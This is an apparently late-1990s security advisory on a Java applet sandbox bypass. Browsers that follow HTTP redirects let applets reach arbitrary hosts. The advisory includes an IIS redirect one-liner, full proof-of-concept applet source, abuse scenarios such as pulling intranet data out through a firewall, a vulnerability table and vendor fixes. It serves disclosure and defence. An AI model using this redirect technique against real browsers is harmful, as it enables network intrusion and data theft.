COMMAND
Internet Explorer (all Win versions), Netscape 4.01, 4.06, 4.07, 4.5,
HotJava 1.0
SYSTEMS AFFECTED
Win
PROBLEM
It appears that MSIE's Java VM has a bug, and there is a way for
applets to open connections to hosts other than the one they were
downloaded from. Details are available from:
http://neurosis.hungry.com/~ben/msie_bug
and
http://neurosis.hungry.com/~ben/msie_bug/another.html
First web page tests to see if your Java-capable browser has a bug
in it that allows Java applets to open network connections to any
host on the Internet. The Java security model is supposed to
disallow this; however, Microsoft Internet Explorer does allow it
on Windows platforms. HotJava on Windows NT appears to allow class
files to be loaded via the bug (not tested yet on Solaris).
Netscape allows download of image files with certain proxy server
configurations on all platforms.
If Java Applets are allowed to open connections to any host on
the net, they are easily abused. Consider a user that downloads
an applet that appears harmless, but really, in the background,
the applet opens a connection to the telnet port on a Pentagon
computer and guesses passwords. It could send the results back
to a third host, all while appearing to simply be animating a
steaming cup of coffee. When the pentagon notices this, the
attack will be traced back to your computer.
Or another case is that a user behind a corporate firewall
accesses a web site whech downloads an applet to the user's
browser. The applet pulls confidential data off of the machines
in the corporate intranet, and then pumps it back out through the
firewall to another server.
How it works? It's very simple; MSIE allows applets to open
connections back to the host from whence they came... but, if the
host sends a HTTP redirect, then the browser follows it to
whereever it leads. The code to do this with Microsoft IIS is
ridiculously simple:
Response.Redirect ("http://" & Request.QueryString ("where"))
The equivalent CGI is almost as simple. Source of the Java applet
used on page mentioned above follows.
// ben@gnu.ai.mit.edu
import java.applet.*;
import java.awt.*;
import java.net.*;
class WhereDoYouWantToGoToday extends Canvas
{
Image image = null;
WhereDoYouWantToGoToday (Image image)
{
super ();
this.image = image;
}
public void paint (Graphics g)
{
g.drawImage (image, 0, 0, this);
}
public Dimension preferredSize ()
{
return new Dimension (image.getWidth (this), image.getHeight (this));
}
public Dimension minimumSize ()
{
return preferredSize ();
}
}
public class example0 extends Applet
{
private Button b;
public void init ()
{
createUI ();
}
private void createUI ()
{
setLayout (new BorderLayout ());
b = new Button ("Go!");
add ("West", b);
}
public boolean action (Event evt, Object arg)
{
if (evt.target.equals (b))
{
try
{
Image i = getImage (new URL (getDocumentBase (), "cgi-bin/redirect.cgi?where=" + URLencode ("www.microsoft.com/library/images/gifs/homepage/tagline.gif")));
MediaTracker tracker = new MediaTracker (this);
tracker.addImage (i, 0);
tracker.waitForID (0);
if (i.getWidth (this) == -1)
add ("Center", new TextField ("Browser did not get exception, but image did not load"));
else
{
add ("Center", new WhereDoYouWantToGoToday (i));
add ("East", new TextField ("Your browser is not secure."));
}
validate ();
}
catch (Exception e)
{
add ("Center", new TextField ("Exception while fetching image:" + e));
validate ();
}
return true;
}
return super.action (evt, arg);
}
private static String URLencode (String s)
{
int i;
StringBuffer b = new StringBuffer ();
for (i=0; i < s.length () ; ++i)
{
b.append (URLencode_helper ((char) (s.charAt (i) & 0xff)));
}
return b.toString ();
}
private static String URLencode_helper (char c)
{
if (c < 16) {
return "%0" + Integer.toString (c, 16);
} else if ((c < 32) || (c > 127) || (" +&=%/~#".indexOf (c) >= 0)) {
return "%" + Integer.toString (c, 16);
} else {
return String.valueOf (c);
}
}
}
Another web page demonstrates a variation upon the original bug.
Some have claimed that the original bug only affected images.
Others have claimed that in addition to images, class files can
be loaded as Ben claimed, but they could not be executed.
The Java Security FAQ from Javasoft states:
Applets are not allowed to open network connections to any
computer, except for the host that provided the .class files.
This is either the host where the html page came from, or the
host specified in the codebase parameter in the applet tag,
with codebase taking precendence.
But if you see the applet on the second page mentioned above,
your browser violated the rules in the above paragraph. What
happened was the applet tag in this page specified a codebase
that pointed to neurosis.hungry.com, but the codebase invoked a
CGI script to redirect your browser to http://www.hq.af.mil. So
if you see the applet above scrolling some text, your browser is
vulnerable to this attack. Results so far with this exploit:
HotJava 1.0 on NT is vulnerable to this attack.
Microsoft Internet Explorer 3.02 on NT is vulnerable to this attack
This bug reappeared in Internet Explorer 5 for Mac in 2000.
Hiromitsu Takagi has confirmed this on the following combinations:
- Mac OS + MRJ 2.2 + IE 5
- Mac OS + Microsoft VM + IE 4.5
and that the followings are not vulnerable:
- Mac OS + MRJ 2.1.4 + IE 5
- Mac OS + MRJ 2.1.4 + IE 4.5
- Mac OS + MRJ 2.2 + IE 4.5
It was mentioned that it is a getImage bug. But Takagi suspected
that it might be a java.net.URLConnection bug because getImage
seems to be implemented with URLConnection. He confirmed this
with the following applet:
http://java-house.etl.go.jp/~takagi/java/test/urlconnection-http-redirect/Test.html
The result shows that the followings are vulnerable. Vulnerable:
- Mac OS + MRJ 2.2 + IE 5
- Mac OS + Microsoft VM + IE 4.5
- Mac OS + MRJ 2.1.4 + IE 5
- Mac OS + MRJ 2.1.4 + IE 4.5
Not vulnerable:
- Mac OS + MRJ 2.2 + IE 4.5
The problem has become very serious because URLConnection can
access to any type of data not only image. In addition to above,
Takagi accidentally found that URLConnection is still vulnerable
without http-redirection technique:
http://java-house.etl.go.jp/~takagi/java/test/urlconnection-direct/Test.html
Vulnerable:
- Mac OS + MRJ 2.2 + IE 5
- Mac OS + MRJ 2.1.4 + IE 5
- Mac OS + MRJ 2.1.4 + IE 4.5
Not vulnerable:
- Mac OS + Microsoft VM + IE 4.5
- Mac OS + MRJ 2.2 + IE 4.5
This simple bug seems to be the root of the problem of MRJ (except
Microsoft VM). Takagi asked the members of "Java House" (a
mailing list for discussion about Java in Japanese he presides) to
confirm these vulnerabilities in various combinations of version
of MRJ and Java-enabled browsers. The following table is the
summary of the investigation.
(1) http://neurosis.hungry.com/~ben/msie_bug/
(2) http://java-house.etl.go.jp/~takagi/java/test/urlconnection-http-redirect/Test.html
(3) http://java-house.etl.go.jp/~takagi/java/test/urlconnection-direct/Test.html
(1) (2) (3)
MacOS + MRJ 2.2 + IE 5 V V V
MacOS + MRJ 2.2 + IE 4.5 NV NV NV
MacOS + MRJ 2.2 + IE 4.01 NV NV NV
MacOS + MRJ 2.2 + iCab pre2.0 NV NV NV
MacOS + MRJ 2.2 + HotJava 3.0 NV NV NV
MacOS + MRJ 2.2 + Apple Applet Runner NV NV NV
MacOS + MRJ 2.1.4 + IE 5 NV V V
MacOS + MRJ 2.1.4 + IE 4.5 NV V V
MacOS + MRJ 2.1.4 + iCab pre2.0 NV V V
MacOS + MRJ 2.1.4 + HotJava 3.0 NV NV NV
MacOS + MRJ 2.1.4 + Apple Applet Runner NV V V
MacOS + MRJ 2.1.1 + IE 5 NV V V
MacOS + MRJ 2.1.1 + IE 4.5 NV V V
MacOS + MRJ 2.1.1 + IE 4.01 NV V V
MacOS + MRJ 2.1.1 + iCab pre2.0 NV V V
MacOS + MRJ 2.1.1 + HotJava 3.0 NV NV NV
MacOS + MRJ 2.1.1 + Apple Applet Runner NV V V
MacOS + MRJ 2.0 + IE 4.5 NV V V
MacOS + MRJ 2.0 + Apple Applet Runner NV V V
MacOS + Microsoft VM for Java + IE 4.5 V V NV
MacOS + Microsoft VM for Java + IE 4.01 V V NV
(V: Vulnerable, NV: Not vulnerable)
SOLUTION
Microsoft has added a link to the MSIE security page titled "Java
Mischief Security Issue Identified" which adresses the security
issue. They describe the actions they are taking to resolve this
issue (MSIE 4.0 will ship without the bug, and there will also be
a fix available for MSIE 3.02 users). They also describe the
precise conditions under which the bug occurs in msie, and what
you can do to protect yourself.
JavaSoft is aware of the bug in the HotJava browser, and is
investigating the fix.
Netscape fixed thsi in versions from 4.02 up to and including
4.05. The bug appears to work again in versions 4.06, 4.07, 4.08
and 4.5.